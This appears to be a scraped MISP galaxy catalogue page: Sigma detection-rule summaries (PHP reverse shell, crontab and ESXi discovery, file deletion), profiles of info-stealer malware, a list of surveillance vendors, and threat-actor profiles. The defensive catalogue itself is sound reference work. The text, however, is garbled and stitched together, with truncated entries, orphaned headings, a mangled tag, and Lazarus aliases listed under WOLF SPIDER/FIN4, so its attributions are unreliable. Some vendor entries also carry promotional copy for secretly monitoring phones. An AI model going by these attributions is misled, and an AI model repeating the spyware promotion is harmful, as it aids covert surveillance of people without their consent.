- related-to: `misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004"` with estimative-language:likelihood-probability="almost-certain"

Crontab Enumeration

Detects usage of crontab to list the tasks of the user

The tag is: `misp-galaxy:sigma-rules="Crontab Enumeration"`

View relationships graph

Crontab Enumeration has relationships with:

BPFtrace Unsafe Option Usage

Detects the usage of the unsafe bpftrace option

The tag is: misp-galaxy:sigma-rules="BPFtrace Unsafe Option Usage"

View relationships graph

BPFtrace Unsafe Option Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 10954. Table References

Potential PHP Reverse Shell

Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.

The tag is: misp-galaxy:sigma-rules="Potential PHP Reverse Shell"

Table 10955. Table References
OMIGOD SCX RunAsProvider ExecuteScript

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

The tag is: *misp-galaxy:sigma-rules=*"OMIGOD SCX RunAsProvider ExecuteScript"

View relationships graph

ESXi VSAN Information Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

The tag is: `misp-galaxy:sigma-rules="ESXi VSAN Information Discovery Via ESXCLI"`

View relationships graph

ESXi VSAN Information Discovery Via ESXCLI has relationships with:

Docker Container Discovery Via Dockerenv Listing

Detects listing or file reading of ".dockerenv" which can be a sign of potential container discovery.

The tag is: misp-galaxy:sigma-rules="Docker Container Discovery Via Dockerenv Listing"

View relationships graph

Docker Container Discovery Via Dockerenv Listing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

ESXi Account Creation Via ESXCLI

Detects user account creation on ESXi system via esxcli.

The tag is: misp-galaxy:sigma-rules="ESXi Account Creation Via ESXCLI"

View relationships graph

ESXi Account Creation Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
Enable BPF Kprobes Tracing

Detects common command used to enable bpf kprobes tracing

The tag is: *misp-galaxy:sigma-rules="Enable BPF Kprobes Tracing"*

File Deletion

Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity

The tag is: *misp-galaxy:sigma-rules="File Deletion"*

View relationships graph

File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
Potential Linux Amazon SSM Agent Hijacking

Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

The tag is: `misp-galaxy:sigma-rules="Potential Linux Amazon SSM Agent Hijacking"`

View relationships graph

Potential Linux Amazon SSM Agent Hijacking has relationships with:

Stealer

A list of malware stealer..

Stealer is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

**authors**

raw-data

Nocturnal Stealer

It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.

The tag is: misled:stealer="Nocturnal Stealer"

View relationships graph

Nocturnal Stealer has relationships with:

- similar: misled:malpedia="Nocturnal Stealer" with estimative-language:likelihood-probability="likely"

Table 11028. Table References
### TeleGrab

The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram's desktop cache and key files, as well as login information for the video game storefront Steam.

The tag is: `misp-galaxy:stealer="TeleGrab"`

### AZORult

It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.

The tag is: `misp-galaxy:stealer="AZORult"`

### Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: `misp-galaxy:stealer="Vidar"`
Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: `misp-galaxy:stealer="Ave Maria"`

Prynt Stealer

Prynt Stealer is an information stealer that has the ability to capture credentials that are stored on a compromised system including web browsers, VPN/FTP clients, as well as messaging and gaming applications. Its developer based the malware code on open source projects including AsyncRAT and StormKitty. Prynt Stealer uses Telegram to exfiltrate data that is stolen from victims. Its author added a backdoor Telegram channel to collect the information stolen by other criminals.

The tag is: `misp-galaxy:stealer="Prynt Stealer"`

Prynt Stealer has relationships with:

- variant-of: `misp-galaxy:stealer="DarkEye"` with `estimative-language:likelihood-probability="very-likely"`
- variant-of: `misp-galaxy:stealer="WorldWind"` with `estimative-language:likelihood-probability="very-likely"`
DarkEye

Nearly identical to Prynt Stealer with a few differences. DarkEye is not sold or mentioned publicly, however, it is bundled as a backdoor with a “free” Prynt Stealer builder.

The tag is: misp-galaxy:stealer="DarkEye"

WorldWind

Prynt Stealer variant that appear to be written by the same author. It is nearly identical to Prynt Stealer with a few minor differences. While Prynt Stealer is the most popular brand name for selling the malware, WorldWind payloads are the most commonly observed in-the-wild.

The tag is: misp-galaxy:stealer="WorldWind"
**DarkCloud Stealer**

Stealer is written in Visual Basic.

The tag is: `misp-galaxy:stealer="DarkCloud Stealer"`

View relationships graph

DarkCloud Stealer has relationships with:

- variant-of: `misp-galaxy:malpedia="BluStealer"` with `estimative-language:likelihood-probability="very-likely"

Surveillance Vendor

List of vendors selling surveillance technologies including malware, interception devices or computer exploitation services.

Surveillance Vendor is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Various

Kape Technologies

Kape Technologies is better known by the name under which they were formerly incorporated - "Crossrider" but make no mistake they are the same company which became notorious as an adware/malware producer. Kape Technologies was originally known as Crossrider until the name change in 2018. The reason for that was, as CEO Ido Erlichman put it, “strong association to the past activities of the company.” Perhaps that refers to infecting users’ devices with malware and adware, considered “high-risk” by Symantec and Malwarebytes. If that wasn’t enough, Crossrider’s Founder and first CEO Koby Menachemi, was part of Unit 8200 – something that can be called Israel's NSA. Another key person, Teddy Sagi, who is the main investor in both Crossrider and Kape Technologies, is mentioned in the Panama Papers.

The tag is: `misp-galaxy:surveillance-vendor="Kape Technologies"`

Kape Technologies is also known as:

- Kape
Crossrider

### Hacking Team

Hacking Team is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations. Its "Remote Control Systems" enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications, and remotely activate microphones and camera on target computers. The company has been criticized for providing these capabilities to governments with poor human rights records, though Hacking Team states that they have the ability to disable their software if it is used unethically. The Italian government has restricted their license to do business with countries outside Europe. Hacking Team employs around 40 people in its Italian office, and has subsidiary branches in Annapolis, Washington, D.C., and Singapore. Its products are in use in dozens of countries across six continents.

The tag is: `misp-galaxy:surveillance-vendor="Hacking Team"`

Hacking Team is also known as:

- Memento Labs

**FlexiSPY**

Flexispy is an application that can be considered as a trojan, based on Symbian. The program sends all information received and sent from the smartphone to a Flexispy server. It was originally created to protect children and spy on adulterous spouses.

The tag is: `misp-galaxy:surveillance-vendor="FlexiSPY"`

**mSpy**

mSpy is probably the most popular monitoring software on the market today. It is designed for parents who want to track their children's online activity. Using mSpy is easy — just download and install a hidden app on your child's phone and let it do its thing in the background. mSpy is available for iOS and Android, and has a web-based control panel that allows you to remotely monitor activity on your child's device, including texts, instant messages, phone calls and social media use on Snapchat or Facebook. It also allows you to track the location of your child's device on a map. The best thing about mSpy is that it works on non-jailbroken iPhones. Do note that some of its features, including email tracking and instant messenger monitoring, are only available on a rooted Android smartphone. If you don't know how to root an Android device, you might want to consider using a spy app like Highster Mobile. This app lets you spy on Android phone without rooting.

The tag is: `misp-galaxy:surveillance-vendor="mSpy"`

**Highster Mobile**

Highster Mobile is a cell phone spy and monitoring software that allows you to secretly monitor your children, employees, or loved ones without them ever knowing it. The app is available for both Android and iOS devices and is developed by ILF Mobile Apps, a company based in Bohemia, New York, that specializes in mobile security.

The tag is: *misp-galaxy:surveillance-vendor="Highster Mobile"*

---

**Mobile Spy**

Mobile Spy is a cell phone monitoring application for iOS, Android and BlackBerry developed by Retina-X Studios. It allows you to monitor the smartphone activity of your children. You'll be able to see text messages, track GPS locations, monitor social media activities, view call details and more inside a secure online account. Monitoring made easy. Login anytime you wish from any location to see the recorded data without needing access to the monitored phone. The hidden version of Mobile Spy is no longer available due to legal issues.

The tag is: *misp-galaxy:surveillance-vendor="Mobile Spy"*

---

**Hoverwatch**

Hoverwatch is a computer and mobile monitoring software developed by Refog. It is available for Android, Windows and macOS. It runs silently in the background, recording all activities performed by the user such as messages sent and received, phone calls made and received, web sites visited, and every keystroke typed. All recorded data is sent to an online account.

The tag is: *misp-galaxy:surveillance-vendor="Hoverwatch"*

---

**MobiStealth**

MobiStealth is a popular spy software that comes with a simple web-based console and powerful monitoring features. It is developed by Infoweise Pty Ltd, a private company headquartered in
Sydney, Australia. They have been making high quality monitoring solutions since 2009. In November 2015, they launched a “Non-Jailbreak” feature, letting users spy on all iOS devices without needing to jailbreak them. Just like many other spy software, MobiStealth allows you to spy on a cell phone or computer via a web interface called StealthClub. As its name implies, it is a stealth application that runs in the background without the owner's knowledge.

The tag is: misp-galaxy:surveillance-vendor="MobiStealth"

**Spyera**

Spyera develops and sells computer and mobile spy software. Based in Hong Kong, Spyera’s products work in all languages and all countries. The company's phone and PC monitoring products are useful tools for any parent or company, although they are quite expensive in comparison to other products. Spyera comes in three different versions — a mobile version for iPhone and Android smartphones, a tablet version for iPad and Android tablets, and a desktop version for Mac and Windows. The mobile version of Spyera is actually very similar to the FlexiSPY Extreme, which I reviewed a few weeks ago. It has everything you’d expect from a cell phone spy software: live call listening, call recording, and location tracking.

The tag is: misp-galaxy:surveillance-vendor="Spyera"

**SpyBubble**

SpyBubble is a spy app that lets you secretly spy on someone’s phone. This spy app is compatible
with a variety of mobile devices, including iPhone, Android, BlackBerry and Symbian, and it offers logging features for most cell phone activity. SpyBubble doesn’t provide the blocking and restricting features that you will find in several similar applications. However, it has many useful features, and its monitoring features are excellent. Spybubble cell phone spy software was discontinued due to legal reasons.

The tag is: *misp-galaxy:surveillance-vendor="SpyBubble"*

**Cytrox**

Cytrox's Israeli companies were founded in 2017 as Cytrox EMEA Ltd. and Cytrox Software Ltd. Perhaps taking a page from Candiru's corporate obfuscation playbook, both of those companies were renamed in 2019 to Balinese Ltd. and Peterbald Ltd., respectively. We also observed one entity in Hungary, Cytrox Holdings Zrt, which was also formed in 2017.

The tag is: *misp-galaxy:surveillance-vendor="Cytrox"*

Innova

Innova, based in Trieste, Italy, and a frequent supplier of Italian prosecutor’s offices. It was the only Italian firm at the International Exhibition for National Security and Resilience (ISNR), which was held in Abu Dhabi in October 2022. The exhibition connects regional government agencies with manufacturers from around the world, and was organised in cooperation with the Ministry of the Interior and in strategic partnership with Abu Dhabi Police GHQ. The United Arab Emirates, however, is known for human rights violations, some of which facilitated by the use of digital surveillance technology, as in the case of an iPhone spyware that was used against hundreds of activists, foreign leaders and suspected terrorists, according to Reuters. Innova’s foreign presence did not stop at ISNR. The company was also at ISS World Latin America, which took place in Panama in October 2022, and was among the sponsors of the September event of ISS World Asia Pacific 2022 in Singapore. These trade shows are not mere opportunities for display, but allow direct contact with members of intelligence agencies from various countries, law enforcement officials and government leaders or ministers.

Nitro

These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.

The tag is: `misp-galaxy:threat-actor="Nitro"`

Nitro is also known as:

- Covert Grove

DIZZY PANDA is also known as:

- LadyBoyle

Grayling

Grayling activity was first observed in early 2023, when a number of victims were identified with distinctive malicious DLL side-loading activity. Grayling appears to target organisations in Asia, however one unknown organisation in the United States was also targeted. Industries targeted include Biomedical, Government and Information Technology. Grayling use a variety of tools during their attacks, including well known tools such as Cobalt Strike and Havoc and also some others.

The tag is: misp-galaxy:threat-actor="Grayling"
APT2

Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since 2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'

The tag is: misp-galaxy:threat-actor="APT2"

APT2 is also known as:

• PLA Unit 61486
• PUTTER PANDA
• MSUpdater

APT16

Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.

HURRICANE PANDA

We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. HURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.

The tag is: misp-galaxy:threat-actor="HURRICANE PANDA"
APT27

A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.

The tag is: misp-galaxy:threat-actor="APT27"

APT14

PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.

The tag is: `misp-galaxy:threat-actor="APT14"`

IMPERSONATING PANDA

The tag is: misp-galaxy:threat-actor="IMPERSONATING PANDA"

APT20

We've uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access. In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.

The tag is: misp-galaxy:threat-actor="APT20"

APT29

A 2015 report by F-Secure describe APT29 as: The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States; Asian, African, and Middle Eastern governments; organizations associated with Chechen extremism; and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible. If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka Minidionis), and HammerDuke (aka Hammertoss).

Turla

A 2014 Guardian article described Turla as: ‘Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.

Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.’

Sandworm

This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage

TeamSpy Crew

Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it’s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.

The tag is: misp-galaxy:threat-actor="TeamSpy Crew"

TeamSpy Crew is also known as:
• TeamSpy
• Team Bear
• Anger Bear
• IRON LYRIC

BuhTrap

Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.

The tag is: misp-galaxy:threat-actor="BuhTrap"

WOLF SPIDER

FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.

The tag is: *misp-galaxy:threat-actor*="WOLF SPIDER"

**WOLF SPIDER** is also known as:

- FIN4
- G0085

- Guardian of Peace
- GOP
- WHOis Team
- Andariel
- Subgroup: Andariel

---

**Lazarus Group**

Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.

VICEROY TIGER is an adversary with a nexus to India that has historically targeted entities throughout multiple sectors. Older activity targeted multiple sectors and countries; however, since 2015 this adversary appears to focus on entities in Pakistan with a particular focus on government and security organizations. This adversary consistently leverages spear phishing emails containing malicious Microsoft Office documents, malware designed to target the Android mobile platform, and phishing activity designed to harvest user credentials. In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT’s attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization’s new attack activity, confirmed and exposed the gang’s targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization.

Deadeye Jackal

The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear.

Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. The attacks began over four years ago and their targeting pattern suggests that this adversary’s primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an
assessment that a group or groups with motivations similar to the stated position of the Chinese
government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have
primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes.
Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in
northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also
have history of strained relationships with the government of the People's Republic of China (PRC),
though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks
have also been identified against government organizations in Russia and India, who are
responsible for tracking activist and terrorist activities. While we do not know the precise target of
each of the Scarlet Mimic attacks, many of them align to the patterns described above.

ProjectSauron

ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron' in the Lua scripts.

**OilRig**

OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.

OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:

- Organized evasion testing used the during development of their tools. - Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration. - Custom web-shells and backdoors used to persistently access servers.

OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.

Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.

Volatile Cedar

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: `misp-galaxy:threat-actor="Volatile Cedar"`

Volatile Cedar is also known as:

- Lebanese Cedar
- DeftTorero

Dancing Salome

Dancing Salome is the Kaspersky codename for an APT actor with a primary focus on ministries of foreign affairs, think tanks, and Ukraine. What makes Dancing Salome interesting and relevant is the attacker's penchant for leveraging HackingTeam RCS implants compiled after the public breach.

The tag is: `misp-galaxy:threat-actor="Dancing Salome"`

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: `misp-galaxy:threat-actor="TERBIUM"`

Molerats

In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the
U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”

The tag is: misp-galaxy:threat-actor="Molerats"

Molerats is also known as:

- Gaza Hackers Team
- Gaza cybergang
- Gaza Cybergang

</table>
PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: `misp-galaxy:threat-actor="PROMETHIUM"`

PROMETHIUM is also known as:

- StrongPity
- G0056

View relationships graph

PROMETHIUM has relationships with:

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: `misp-galaxy:threat-actor="NEODYMIUM"`

NEODYMIUM is also known as:
Packrat

A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.

The tag is: `misp-galaxy:threat-actor="Packrat"`

Cadelle

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

The tag is: `misp-galaxy:threat-actor="Cadelle"`
PassCV

The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.

Sath-ı Müdafaa

